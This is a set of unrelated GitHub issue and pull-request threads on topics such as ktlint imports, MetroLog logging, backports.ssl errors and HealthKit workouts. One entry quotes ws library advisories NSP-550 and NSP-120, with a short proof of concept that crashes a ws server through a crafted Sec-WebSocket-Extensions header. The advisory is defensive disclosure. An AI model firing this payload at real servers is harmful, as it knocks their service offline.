It is not a future-proof solution, we need to handle this from the boot graph to prevent boot timeouts

Here is the flag to put in the server tags to try out this POC: INITRD_WAIT_SECONDARY_VOLUMES=1
result:
Begin: Checking user input for debug mode ...  done.
Begin: Checking user input for debug shell ...  done.
Begin: Signaling the server is kernel-started to the control plane ... Failure: unable to signal server is kernel-started. done.
Begin: Signaling the server is kernel-started to the control plane ... Success: control plane is aware that server is kernel-started. done.
Begin: Adjusting time (ntp) ...  done.
Begin: Attaching nbd0 ...  done.
Begin: Mounting nbd0 root ... done.
Begin: Checking metadata in case we need to wait for secondary volumes to be ready ...  done.
Begin: Attaching nbd1 ...  done.
Begin: Attaching nbd0 ...  done.
Begin: Attaching nbd3 ...  done.
Begin: Signaling the server is booted to the control plane ... Success: control plane is aware that server is booted. done.
Begin: Checking metadata for debug shell ...  done.


Self-import is not flagged as unused

We moved some classes around as a refactor and we ended up accidentally importing a class from the same package:
Steps to Reproduce
Production code (src/main/kotlin/foo/bar)
package foo.bar

class Production

Test code (src/test/kotlin/foo/bar)
package foo.bar

import foo.bar.Production

class ProductionTest

Expected Behavior
(gradlew spotlessApply)
package foo.bar

-import foo.bar.Production

class ProductionTest {
    val subject = Production()
}

Note: Android Studio shows it as unused.
Observed Behavior
No change.
Your Environment

Version of ktlint used: 1.4.0
Relevant parts of the .editorconfig settings: ktlint_code_style = android_studio
Name and version (or code for custom task) of integration used (Gradle plugin, Maven plugin, command line, custom Gradle task): Spotless 7.0.0.BETA4
Version of Gradle used (if applicable): 8.10.2
Operating System and version: Mac 15 (local) and Ubuntu 24 (CI)

Previously imports like this were removed. But in some cases this would lead to code which no longer could be compile (see #2821). Therefore ktlint is rather conservative with removing the import. It is better to have an unused import compared to having code that cannot be compiled.

Ktlint should take all lint/format decisions based on the file it scans only. It can not take into account any information which is to be retrieved from any other file.


NSP-550

NSP-550
Severity: High
CVSS Score: 7.5
A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash. Proof of concept: const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); });
NSP - Advisory 550: Denial of Service
Vulnerable Software & Versions:
ws:<1.1.5 || >=2.0.0 <3.3.1
NSP-120
Severity: High
CVSS Score: 7.5
ws is a "simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455" By sending an overly long websocket payload to a ws server, it is possible to crash the node process.
NSP - Advisory 120: DoS due to excessively large websocket message
Vulnerable Software & Versions:
ws:<=1.1.0

released version 2.2.1 with the update

@fujifish thanks.


Remove plugin duplicates in POM to avoid warnings

Fix: removed plugin items which are duplicated in the same pom
Fix: artifactId should be lowercase letters

Welcome to contribute codes to IoTDB!

As a member of IoTDB, i suggest you develop directly on thulab/iotdb project so that you can use our jenkins pipeline.

Seems I have no write access permission..

I have invited you. Try again?

@MyXOF Create an another PR?

Why PR from other repositories will not trigger pipeline?

Create another pr please.
Because our pipeline configuration only pull code from thulab/iotdb.


SQLite with Windows 10 Universal app?

Hi all,
do you have an example how to use MetroLog with recommended SQLite in a Windows 10 Universal App? I tried logging to a file which works fine but could not pass the test of Windows Certification Kit :-(
Thanks in advance!

What kind of WACK errors were you getting and in what configuration?
MetroLog is used in numerous Win10 universal apps w/o issues.

The following tests fail:

FAILED
App prelaunch
Error Found: The app prelaunch validation detected the following errors:
    The app failed prelaunch test -
Impact if not fixed: The app will take a longer time to launch, even when prelaunch is enabled.
How to fix: In the OnLaunched method implementation of the app, ensure you handle the LaunchActivatedEventArgs.PreLaunch option to be prelaunch event aware.

FAILED
Crashes and hangs
Error Found: The crashes and hangs test detected the following errors:
    Executable  was detected by Windows Error Reporting and experienced a crash or hang.
    Application  was detected by Windows Error Reporting and experienced a crash or hang.
    Crash dump file  was created by Windows Error Reporting and provides additional information.
Impact if not fixed: An app that stops responding or crashes can cause data loss and is a poor user experience.
How to fix: Investigate and debug the app to identify and fix the problem.

It's a Win10 Universal App and in my app.xaml.cs I only added these lines:
protected override void OnLaunched(LaunchActivatedEventArgs e)
{
var configuration = new MetroLog.LoggingConfiguration();
configuration.AddTarget(MetroLog.LogLevel.Trace, MetroLog.LogLevel.Fatal, new MetroLog.Targets.FileStreamingTarget());
configuration.IsEnabled = true;
MetroLog.LogManagerFactory.DefaultConfiguration = configuration;
var logger = MetroLog.LogManagerFactory.DefaultLogManager.GetLogger();
logger.Info("---------------------------------------Starting Application.---------------------------------------");
As soon as I remove all the lines, everything works fine and WACK finishes without problems. I have keep the lines in app.xaml.cs the application still runs file and the logfile is written as expected, but WACK always fails...

Any ideas?

This seems to be an issue with pre-launch but I have not had time to look into this yet specifically.

No problem. Is there somewhere an example how to use SQLite in Universal Windows 10 App? I already tried to use it but was not successfull.


Feature/dos-file-provision set configuration added to PreProvisionInterface

Adds a default method to the PreProvisionInterface class that enables passing in configuration settings from config file
Uses map objects to store references to all plugins & pre-provision plugins for faster look up time
Changes the system version of the VersionAwarePluginManager to 0.0.2 so that Dockstore will not fetch existing plugins that extend old PreProvisionInterfaces (i.e. DOS File Provisioning Plugin v0.0.1)

Coverage increased (+7.08%) to 75.5% when pulling 686d777c980558ca73ba70516ec27751904bb1c7 on feature/dos-file-provision into deeaa6260782d7752f2d7187e5b5916a9401afc5 on develop.


Add .clang-format file.

This adds a .clang-format file, so that git clang-format uses
Google style without the need to remember the commandline flag.
Moreover, this ensures correct formatting if the Cartographer
code is in a subtree of a repo.

@cschuet If you think this is a good idea, we could also add this to the other repos as appropriate. Maybe it is even possible to remove the command-line flag from wally. @SirVer What do you think?

@CodeArno @cschuet @gaschler PTAL

Merge requested by authorized user wohe. Merge queue now has a length of 1.


Unsubscribe user on iOS

Is it possible to disable PushNotifications for the user through js (I'd like to add switch in the app)? I see that we have setSubscription method, but seems like it doesn't work on iOS.

Thanks for the report, i'll test it and let you know.

Hi, I won't be available on the next month to add new features. If you have any idea for a PR, i'll be happy to review it.
Hopefully after mid May i'll be back to add new features to this library.
I'm adding this request to the TODO list.

I'm testing this on iOS right now, we'll let you know.
On Android it works well by my tests.

Working in all my tests.


Doesn't work in iOS 7 + fix

Crashes in iOS 7.1 with message: dyld: Symbol not found: _UIAccessibilityIsReduceMotionEnabled
Suggested fix (if there is a better fix let me know, I can submit a Pull request)

(BOOL)disableBouncingEffects {
if ([[[UIDevice currentDevice] systemVersion] floatValue] >= 8.0) {
if(&UIAccessibilityIsReduceMotionEnabled && UIAccessibilityIsReduceMotionEnabled()) {
return YES;
}
}
return _disableBouncingEffects;
}

(BOOL)disableMotionEffects {
if ([[[UIDevice currentDevice] systemVersion] floatValue] >= 8.0) {
if(&UIAccessibilityIsReduceMotionEnabled && UIAccessibilityIsReduceMotionEnabled()) {
return YES;
}
}
return _disableMotionEffects;
}

Hi,
thanks for your report and the fix :)
But RMActionController uses custom transitions which are totally broken on iOS 7 in landscape mode and only fixed in iOS 8 and above. For this reason RMActionController is only supported for iOS 8 and above and every version of iOS 8 includes UIAccessibilityIsReduceMotionEnabled(). Thus, I think there is no need to change something in the main repository. But the fix may be useful for everyone who uses RMActionController on iOS 7 with portrait mode only apps

Exactly my case!
iOS 7+ app portrait only


Update conditional checks for CI workflows to add ubuntu-dind-runners

This pull request updates the conditional checks in the code to include the 'ubuntu-dind-runners' operating system as well. This ensures that the code works correctly on both 'ubuntu-latest' and 'ubuntu-dind-runners' environments.

@coderabbitai review


Abigen descriptor for function Call objects has incorrect function selector in comments

Version
├── ethers v2.0.13
│   ├── ethers-addressbook v2.0.13
│   │   ├── ethers-core v2.0.13
│   ├── ethers-contract v2.0.13
│   │   ├── ethers-contract-abigen v2.0.13
│   │   │   ├── ethers-core v2.0.13 ()
│   │   ├── ethers-contract-derive v2.0.13 (proc-macro)
│   │   │   ├── ethers-contract-abigen v2.0.13
│   │   │   │   ├── ethers-core v2.0.13 ()
│   │   │   ├── ethers-core v2.0.13 ()
│   │   ├── ethers-core v2.0.13 ()
│   │   ├── ethers-providers v2.0.13
│   │   │   ├── ethers-core v2.0.13 ()
│   ├── ethers-core v2.0.13 ()
│   ├── ethers-etherscan v2.0.13
│   │   ├── ethers-core v2.0.13 ()
│   ├── ethers-middleware v2.0.13
│   │   ├── ethers-contract v2.0.13 ()
│   │   ├── ethers-core v2.0.13 ()
│   │   ├── ethers-etherscan v2.0.13 ()
│   │   ├── ethers-providers v2.0.13 ()
│   │   ├── ethers-signers v2.0.13
│   │   │   ├── ethers-core v2.0.13 ()
│   ├── ethers-providers v2.0.13 ()
│   └── ethers-signers v2.0.13 ()
├── ethers-core v2.0.13 ()
├── ethers-flashbots v0.15.0
│   ├── ethers v2.0.13 ()
├── ethers-providers v2.0.13 (*)
Platform
<IP_ADDRESS>-microsoft-standard-WSL2 #1 SMP Wed Mar 2 00:30:59 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Description
When generating an abigen file using the macro, I've just discovered the comments on the function Call container types for input parameters has the function selectors mixed up. The actual functions to call these functions have the correct selectors in their comments EDIT: Turns out these are also mixed up, but when cross-referencing these, the selector is referenced in a totally different Call container type. Only discovered when using the selectors as a match case to parse input parameters for validation.
I've attached the rs file containing this incorrect output - had to rename it to a .txt.
ToadRouter04.rs.txt
The correct function selectors for each call are here https://etherscan.io/address/0xb62bdeda5d1e7a03a615b793e949c19d158c6b46#writeProxyContract
in particular check SwapExactTokensForTokensSupportingFeeOnTransferTokens

It would appear method hash signatures are also impacted.

Err... scratch all this, I had the wrong ABI version.


import fails:  'module' object has no attribute 'SSLContext'

$ pip freeze
backports.ssl==0.0.7
PyYAML==3.11
six==1.9.0
wheel==0.24.0

$ python
Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 23 2015, 02:52:03)
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import backports.ssl as ssl
>>> import socket
>>> context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'SSLContext'
>>>

Any ideas?

I've also seen a report of this from an IMAPClient user (IMAPClient depends on the backports.ssl).
https://bitbucket.org/mjs0/imapclient/issues/196/attributeerror-module-object-has-no
backports.ssl depends on pyOpenSSL. If pyOpenSSL fails to import then SSLContext and a few other names are removed from the backports.ssl package (see https://github.com/alekstorm/backports.ssl/blob/master/backports/ssl/core.py#L699). It seems that pyOpenSSL isn't installed in your environment.
To help confirm, please try the following from a Python shell in the same environment:
from OpenSSL import crypto
from OpenSSL import SSL

the issue is somehow fixed. thanks!

aaaand I had it again, but brew install libffi on Mac OS fixed the issue for me.
thanks to https://github.com/technomancy/grenchman/issues/21

Great! The IMAPClient user who was having this problem was missing libffi-dev from his Ubuntu Linux system, so it was the same root cause.

Hmm, I have the same issue on Mac OS X El Capitan. I don't use homebrew...

Okay, so the reason for this is:
>>> from OpenSSL import SSL
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "python2.7/site-packages/OpenSSL/__init__.py", line 8, in <module>
    from OpenSSL import rand, crypto, SSL
  File "python2.7/site-packages/OpenSSL/rand.py", line 11, in <module>
    from OpenSSL._util import (
  File "python2.7/site-packages/OpenSSL/_util.py", line 6, in <module>
    from cryptography.hazmat.bindings.openssl.binding import Binding
  File "python2.7/site-packages/cryptography/hazmat/bindings/openssl/binding.py", line 13, in <module>
    from cryptography.hazmat.bindings._openssl import ffi, lib
ImportError: dlopen(python2.7/site-packages/cryptography/hazmat/bindings/_openssl.so, 2): Library not loaded: libssl.1.0.0.dylib
  Referenced from: python2.7/site-packages/cryptography/hazmat/bindings/_openssl.so
  Reason: image not found

This is very similar to this old chestnut that I hit every time I install psycopg2 on OSX:
https://github.com/psycopg/psycopg2/issues/385
This Stack Overflow thread has a bunch of related stuff:
http://stackoverflow.com/questions/32978365/how-do-i-run-psycopg2-on-el-capitan-without-hitting-a-libssl-error
So, is this a problem with how backports.ssl and psycopg2 and structured, or is the problem lower down in the Python stack?

So, here's an interesting difference between Python's included _ssl:
$ otool -L .../lib/python2.7/lib-dynload/_ssl.so
.../lib/python2.7/lib-dynload/_ssl.so:
	@loader_path/../../libssl.1.0.0.dylib (compatibility version 1.0.0, current version 1.0.0)
	@loader_path/../../libcrypto.1.0.0.dylib (compatibility version 1.0.0, current version 1.0.0)
	/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 1.0.0)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 111.0.0)

Compare that with the problematic one in backports:
$ otool -L lib/python2.7/site-packages/cryptography/hazmat/bindings/_openssl.so
lib/python2.7/site-packages/cryptography/hazmat/bindings/_openssl.so:
	libssl.1.0.0.dylib (compatibility version 1.0.0, current version 1.0.0)
	libcrypto.1.0.0.dylib (compatibility version 1.0.0, current version 1.0.0)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1225.1.1)
	/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 913.0.0)

If I manually replace libssl.1.0.0.dylib with an absolute path to libssl.1.0.0.dylib (and the others like it) using the following, everything works:
install_name_tool -changelibssl.1.0.0.dylib /Library/PostgreSQL/9.4/lib/libssl.1.0.0.dylib lib/python2.7/site-packages/cryptography/hazmat/bindings/_openssl.so
install_name_tool -change libcrypto.1.0.0.dylib /Library/PostgreSQL/9.4/lib/libcrypto.1.0.0.dylib

So, how come _ssl.so that ships with Python uses @loader_path and it works, but extensions built locally do not? What can we change in the source distribution to cause local compilation to build usable binaries?


Remove glyph hints when they're invalid or if the glyph contains a contour with only one point (fix #16639)

/botio test

/botio-windows test

/botio-windows test

I investigated the diff in sizes.pdf.
There's a potential error in the instructions for the glyph "a", so I extracted the font and validated it with FontVal then the ENDF error is shown by FontVal but only as a warning.
I wonder if our instructions validator is correct in general.

In tracemonkey.pdf, some fonts contains glyphs where some contours have only one element and removing the instructions doesn't look correct.

I don't know if the bug is fixable... but this patch is not correct.


AppleHealthKit.saveWorkout() doesn't save a workout

Describe the bug
Hello, Looks like AppleHealthKit.saveWorkout() doesn't save a workout
To Reproduce
Steps to reproduce the behavior:
I do in this way
       let options = {
            type: 'AmericanFootball', // See HealthActivity Enum
            startDate: new Date(2021, 5, 12, 12, 0, 0).toISOString(),
            endDate: new Date(2021, 5, 12, 13, 30, 0).toISOString(),
            energyBurned: 50, // In Energy burned unit
            distance: 50, // In Distance unit
        }

        AppleHealthKit.saveWorkout(
            (options),
            (err, results) => {
                if (err) {
                    console.log('error saving workout to Healthkit: ', err)
                    return
                }
                // workout successfully saved
                console.log(results, 'workout successfully saved')
            },
        )

The interestiong thing is thay I do receive console.log result 'workout successfully saved' with the UUIDString.
Also, what about saveWeight method,  it is working and I do saved data in apple health
All necessary permissions are granted in this way:
const permissions = {
    permissions: {
        read: [AppleHealthKit.Constants.Permissions.HeartRate],
        write: [
            AppleHealthKit.Constants.Permissions.Steps,
            AppleHealthKit.Constants.Permissions.Weight,
            AppleHealthKit.Constants.Permissions.Workout,
        ],
    },
}

AppleHealthKit.initHealthKit(permissions, (error) => {
    /* Called after we receive a response from the system */
    AppleHealthKit.getAuthStatus(permissions, (err, results) => {
        console.log(err, results, 'AUTH STATUS')
    })
    if (error) {
        console.log('[ERROR] Cannot grant permissions!')
    }
})

Expected behavior
I do expect, that this activity will appear in apple health app
Screenshots

Screenshot
![Simulator Screen Shot - iPhone 8 - 2021-05-16 at 10 38 52](https://user-images.githubusercontent.com/43289913/118389508-f03bc100-b632-11eb-9ca5-2dd4c0f5d64f.png)

Smartphone:

Device: iPhone 8 simulator, iPhone 11 real
OS: iOS 14.4
Version "react-native-health": "^1.7.2"

The interestiong thing is thay I do receive console.log result 'workout successfully saved' with the UUIDString.

Can you go to the Health App > Your profile (top right, your profile picture) > under the Privacy section tap on "Apps",  find the app you're developing and tap on it > then tap on "Data" and see if there are any activities written there. You should see your data there.

I do expect, that this activity will appear in apple health app

Your code puts the workout in the future (5 is June in JS), that's why you don't see it Health > Activity. Once you put in a date in the past, it will appear in Health > Activity > Workouts.

The interestiong thing is thay I do receive console.log result 'workout successfully saved' with the UUIDString.

Can you go to the Health App > Your profile (top right, your profile picture) > under the Privacy section tap on "Apps", find the app you're developing and tap on it > then tap on "Data" and see if there are any activities written there. You should see your data there.

I do expect, that this activity will appear in apple health app

Your code puts the workout in the future (5 is June in JS), that's why you don't see it Health > Activity. Once you put in a date in the past, it will appear in Health > Activity > Workouts.
Edit: This is not a bug so I think we should remove the bug label. saveWorkout() still doesn't save all data passed to it, but there's an open issue about it: #92

Thank your for the reply!
That's the weird, but I do not see my app in apps list, but I've granted all the permissions on a first start of the app.

Screenshot
![Simulator Screen Shot - iPhone 7 - 2021-05-18 at 09 18 58](https://user-images.githubusercontent.com/43289913/118600953-53a42b00-b7ba-11eb-8e02-9a4cc8dbdfe2.png)

Can anyone help?

@tagirahmad I am having problems reproducing this issue. Can you create a repository reproducing your problem?

@tagirahmad I am having problems reproducing this issue. Can you create a repository reproducing your problem?

I can't show you my production code. But I've created a test repo, here is the same problem
https://github.com/tagirahmad/healthapp-sample

Hey @tagirahmad!
Thanks for the rich context regarding the issue
I've been trying to reproduce from your sample repository, but as @fakeheal mentioned, I'm seeing the samples being saved in Apple Health (screenshots attached).
One possibility is that you are passing the includeManuallyAdded as false when requesting the information in your app. Could you just check that?
I will do additional tests in the following days to replicate the issue and let you know if I find anything

Hi! Thank you for the reply and desire to help with my question.
In my code in both repos sample and production there is no any includeManuallyAdded.
How did you get that result with my healthapp-sample? I still don't have any updates in apple health app.
In terminal, I do have success messages as
6E8D2EC6-9694-41E5-A22F-0AC7D05A4C30 workout successfully saved

Maybe I do run my project in wrong way or anything else? Any permissions or lack of something in xcode project, I do not know really.

Can anyone help?

Hey, checked again and saveWorkout seems to be working fine, although I found an issue when getting the saved workout with getSamples.
@tagirahmad's code adds a workout with no metadata (which is ok and it appears normally in Health), but getSamples fails to fetch a workout with no metadata, returning an empty array.
As this is an old issue and it's not clear if this is the exact case, I will fix the mentioned bug and close this issue. Please let me know if the issue persists.

Fix released in v.1.13.6


Add a DELETE method for collections.

I suggest to add a DELETE for collections that allows multiple delete. For example:
DELETE /persons removes all Persons.
DELETE /persons?firstName=Jennifer removes all Persons whose firstName is 'Jennifer'.
Could you please review and possibly merge the attached commit?
Manuel

@koskimas is there something we can do to help merging this PR ?

I'm sorry for the radio silence, but I currently have very little time for this project. I will continue it at some point and it is by no means forgotten. I'm surprised someone is using this without any documentation :D. I'll try to find time to review this during next week.

No problem, thanks !

Oh and yes, objection-rest just rocks !


regimen abbreviation formed from all words of a drug

Short term fix to avoid duplicate regimen abbreviations: use the prefix of all words for a drug name to create the regimen abbreviation.

Thanks @hhunterzinck , was this discussed with the cBio team?


Relax setuptools build dependency

The most recent version of setuptools is 68.1.2, which I'd like to build using. I've removed the upper limit in this PR, but I'd be open to just updating it too if there's a preference to keep using a minor version pin. (I didn't do that for now because it adds a burden on my work in nixpkgs; we currently have updated to 68.0.0, which is compatible with ~68.0 but we will try to update to 68.1.2 sometime, which is compatible with ~68.1.)

Version 2.2.0 of fountains is on PyPI.


How do I change the directory the anime is saved in?

I had a look through the module download but I couldn't find anything to change. Could you tell me how I can change the directory in which the anime is stored in? Thanks!

I had a look through the module download but I couldn't find anything to change. Could you tell me how I can change the directory in which the anime is stored in? Thanks!


Bug Report: kade 1.5.2 crashes when i compile it

Hello, I am trying to fix something for the mod so my friend sent me the folder. but when i try to compile it this happens.

Trying to fix this but i cant.
Thanks.

wouldn't that mean that it compiled?

yeah i have this exact same issue, not entirely sure how to fix it but someone told me it could be because of polymod


Non-configurable cURL Options in HTTPConfig

The default cURL options in PayMaya\Core\HTTPConfig are fixed and are not very flexible. There are installations of PHP 5.6 and above where libcurl uses NSS instead of OpenSSL as the SSL/TLS provider, which means hard-coding CURLOPT_SSL_CIPHER_LIST to 'TLSv1' will be incompatible to these PHP installations, after setting said options through curl_setopt_array() in PayMaya\Core\HTTPConnection::execute(), as 'TLSv1' is only a valid value if OpenSSL is cURL's back-end. (See https://curl.haxx.se/libcurl/c/CURLOPT_SSL_CIPHER_LIST.html)
In addition, it is best to leave CURLOPT_SSLVERSION alone. See the corresponding entry at https://www.php.net/manual/en/function.curl-setopt.php for a description.
In closing, I highly recommend removing the CURLOPT_SSL_CIPHER_LIST and CURLOPT_SSLVERSION options from PayMaya\Core\HTTPConfig for better compatibility. The API's web server configuration on the other hand will be able to dictate which ciphers to be used on negotiation anyway. See the ssl_protocols, ssl_ciphers, and ssl_prefer_server_ciphers directives for NGINX as examples.

this fixed our issue, thank you!


GH Actions: update the action runners

GH Actions: update the actions/checkout action runner
The v3 version still uses Node 16, while GHA will stop supporting that soonish. Using v4 fixes that.
GH Actions: update the ramsey/composer-install action runner
The v2 version still uses Node 16, while GHA will stop supporting that soonish. Using v3 fixes that.

Alternatively, adding a Dependabot config could safeguard this for the future.


Clidantic gets extra argument when only one command is set

When having a main file with only one command, this is not subgrouped by default, and if the user tries to use it as subcommand, it gets an error which is not self explainatory.
Example:
from pydantic import BaseModel

from clidantic import Parser

class Arguments(BaseModel):
    field_a: str
    field_b: int
    field_c: Optional[bool] = False

cli = Parser()

@cli.command()
def run(args: Arguments):
    print(args)

if __name__ == "__main__":
    cli()

when the following command is run:
python3 main.py run a=hola b=1337
the following error is returned:
Usage: main.py [OPTIONS]
Try 'main.py --help' for help.

Error: Got unexpected extra argument (run)

Just for the record, this is actually the expected behaviour: running the following click example as python main.py hello:
import click

@click.command()
@click.option("--count", default=1, help="Number of greetings.")
@click.option("--name", prompt="Your name", help="The person to greet.")
def hello(count, name):
    """Simple program that greets NAME for a total of COUNT times."""
    for x in range(count):
        click.echo(f"Hello {name}!")

if __name__ == "__main__":
    hello()

Will also output Error: Got unexpected extra argument (hello).
Currently, a single command is not grouped by default, so that the behaviour remains consistent with its native CLI library.
That said, it is true that the message is not self-explanatory and we are not required to stick with it.


why do i need source when i only want to play ads?

Version
6.1.2
What platforms are you having the problem on?

Reproduction
repository link
Reproduction
Step to reproduce this bug are:

Congratulations!
It's not tweeter here. Good luck to find the fix.


refactor: import trade ux

Codecov Report

Merging #36 (77edd4b) into develop (eb09bda) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff            @@
##           develop      #36   +/-   ##
========================================
  Coverage    79.54%   79.54%
========================================
  Files           12       12
  Lines         2361     2361
========================================
  Hits          1878     1878
  Misses         483      483

Flag
Coverage Δ

unittests
79.54% <100.00%> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/transaction/transaction_formatter.c
96.30% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Link previews

Would be good for preview links to show image if any plus high level meta

@the-frey by link previews do you mean things like twitter cards? The extra info that pulls through when sharing links on twitter, discord, etc?

Yep, so e.g. on discord at the moment you just get some generic meta. We know people are sharing these quite widely (esp on twitter) so it's worth looking into how hard it is to implement this.


Remove legacy container metrics collection code

What does this PR do?
Clean up old metrics collection code: most of the code was unused since migration to v2, two other components were still calling the old containers package:

Hostname resolution for the UTS mode check: the check has been moved to use UTS NS inode identifier, which will be more reliable and work everywhere (not only Docker)
ECS v1 was using GetDefaultGateway in an attempt to find ECS Agent IP, this code has been migrated to the util/system package.

Motivation
Cleanup
Additional Notes
Possible Drawbacks / Trade-offs
Describe how to test/QA your changes
There's nothing specific to QA, but we want to make sure key features that were historically using containers package still work, namely:

ECS Linux & Windows
Docker
Hostname resolution on Docker without Docker socket mounted and --uts host
Hostname resolution on Kubernetes without Kubelet access and without CRI socket mounted

Reviewer's Checklist

[x] If known, an appropriate milestone has been selected; otherwise the Triage milestone is set.
[x] Use the major_change label if your change either has a major impact on the code base, is impacting multiple teams or is changing important well-established internals of the Agent. This label will be use during QA to make sure each team pay extra attention to the changed behavior. For any customer facing change use a releasenote.
[x] A release note has been added or the changelog/no-changelog label has been applied.
[x] Changed code has automated tests for its functionality.
[x] Adequate QA/testing plan information is provided if the qa/skip-qa label is not applied.
[x] At least one team/.. label has been applied, indicating the team(s) that should QA this change.
[x] If applicable, docs team has been notified or an issue has been opened on the documentation repo.
[x] If applicable, the need-change/operator and need-change/helm labels have been applied.
[x] If applicable, the k8s/<min-version> label, indicating the lowest Kubernetes version compatible with this feature.
[x] If applicable, the config template has been updated.

I've taken a look at this PR a few times, and I'm really not sure how to approach it, beyond "it seems to work, let's ship it".  Any particular advice for reviewing?

I've taken a look at this PR a few times, and I'm really not sure how to approach it, beyond "it seems to work, let's ship it". Any particular advice for reviewing?

You can discard most of the PR, i.e. all the deletions, it's dead code. The only code that still used was in pkg/util/hostname. It has been replaced by a better alternative (checking UTS Ns Inode number), it will fix many cases were the Agent was happily running with a wrong hostname.
I should made 3 separate commits and I'm sorry for that, it makes the review unnecessarily difficult and time consuming.


add flannel backend port configuration example

Sometimes the default 8472/udp port will conflict with virtualization platform, and we need to change it, while the doc doesn't mention that.

@superseb fixed


pdfkit.standalone.js missing 0.13

Docs say pdfkit.standalone.js is included - but its not in v0.13

I see to npm package and file pdfkit.standalone.js is available.


Improvement: Example of the devcontainer.json for Using the Image for Visual Studio Code Remote Containers Setup

It would be great to have an example of the devcontainer.json file that users can apply to their SPFx projects.

Great idea! What would be the best place for it: code file in the repo + link from readme?

If the contents wouldn't be too long, then we can absolutely add it to the existing readme and if need be, move to a separate file. Would you like to submit a PR?

Yes, I will do soon

PR: https://github.com/pnp/docker-spfx/pull/85


Unrecognized option "api_platform" under "lexik_jwt_authentication"

I am currently working on programming a website using Symfony version 6.2 and API Platform in addition to MongoDB in the database and a work environment on Docker.
I am trying to add the feature of connecting through JWT (LexikJWTAuthenticationBundle), and I was able to log in successfully and get the token, but when I try to use the token to get access to the rest of the pages, the response is always as follows:
{
    "code": 401,
    "message": "JWT Token not found"
}

I searched for the cause of the following problem in the search engines, and the solutions presented were numerous (although unfortunately, they are absent in everything related to the latest version of Symfony), most notably modifying the environment and adding the following code:
SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1
Honestly, I didn't know exactly how to change this command in the Docker environment, but when I use the following code on the index page to check that the token is being sent, I get the correct answer and that the token is being sent
$token = getallheaders()['Authorization'];

print_r($token);
exit;

I went to the official documentation for the used bundle (LexikJWTAuthenticationBundle), but unfortunately, when I do the next step:
# config/packages/lexik_jwt_authentication.yaml
lexik_jwt_authentication:
    # ...
    api_platform:
        check_path: /api/login_check

I get the following error:
Unrecognized option "api_platform" under "lexik_jwt_authentication". Available options are "additional_public_keys", "allow_no_expiration", "clock_skew", "encoder", "pass_phrase", "private_key_path", "public_key", "public_key_path", "remove_token_from_body_when_cookies_used", "secret_key", "set_cookies", "token_extractors", "token_ttl", "user_id_claim", "user_identity_field".
Is there a solution to that?

I solved the 401 problem by adding the following code to the vhost file:
SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1
But I still get the error message if I follow the official documentation:
Unrecognized option "api_platform" under "lexik_jwt_authentication"

It's from https://github.com/lexik/LexikJWTAuthenticationBundle/pull/1098 which is not yet released.  So don't set that key for now.


Random crash when scenario editing to Venus

It was just for testing. And while there are some obvious issues when going far from earth (even on mars), like everything going black except for the 2d elements (mfd, hud, menu, etc) as seen on the image, I understand it may still be too soon. Still, this random crash may have something that can help you

There are some precision issues when traveling far from a planet which I need to fix.
Venus uses the old style Orbiter terrain (.tex files) instead of the newer tile tree files used by Earth, Mars, Moon, and a few other planets. I haven't added support for the old terrain format which is probably why it's crashing. Is the crash reproducible
? If so which scenario did you run? When I run the Venus DG scenarios it runs but the planet does not show.

Unfortunately I havent been able to reproduce the error. It happened when teleporting via scenario editor to venus (from habana scenario I think). After seeing everything went black after some seconds of invisible planet case, I f1 to the glass cockpit and there was the crash. Will try to reproduce it later. Maybe Ill  be able come back with more useful info haha

If the crash happens again and you get the Debug Error dialog, you can click Retry (or Reintentar for you) and it should open up an instance of Visual Studio and show the source file and line number where the crash occurred, which is useful information.
Incidentally, I see that you're running the Orbiter visual studio debug build, which is good for debugging but is going to run slower than the release build. So, if the performance is too bad, I'd recommend switching to the release configuration in Visual Studio.


MODOAIPMH-291: Revert RMB 32 update

Jira: https://issues.folio.org/browse/MODOAIPMH-291
PURPOSE
Since we encountered the same problem with JsonParser exceptions as we did previously it is needed to revert the RMB.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 2 committers have signed the CLA.:white_check_mark: IlliaDaliek:x: Illia DaliekIllia Daliek seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Added OAuthBearer authentication mode

Adds OAuthBearer authentication mode support as requested in #427.
Had to bump Confluent.Kafka to 1.9.3 because there was a bug in 1.9.0 during authentication with identity provider.
I've tested using a new Confluent Kafka cluster deployed on Azure using Azure AD as idendity provider.

@microsoft-github-policy-service agree

We would also be very interested in OAuth support for Confluent Kafka trigger/publish output bindings.

It would be great to see this feature in production asap! Confluent.Kafka supports this authentication mode already so imho there's no big deal 'bout it. It would have a huge impact for us.


Improve grib file processing speed

Copy the grib data variables to in memory to avoid disk access on subsequent reads.

As a simple comparison on a local machine, for a single variable read for 1K coordinates the speed up is ~40 times. (Not rigorously tested, but rough ballpark).


Don't reload action.Repo when it has been loaded

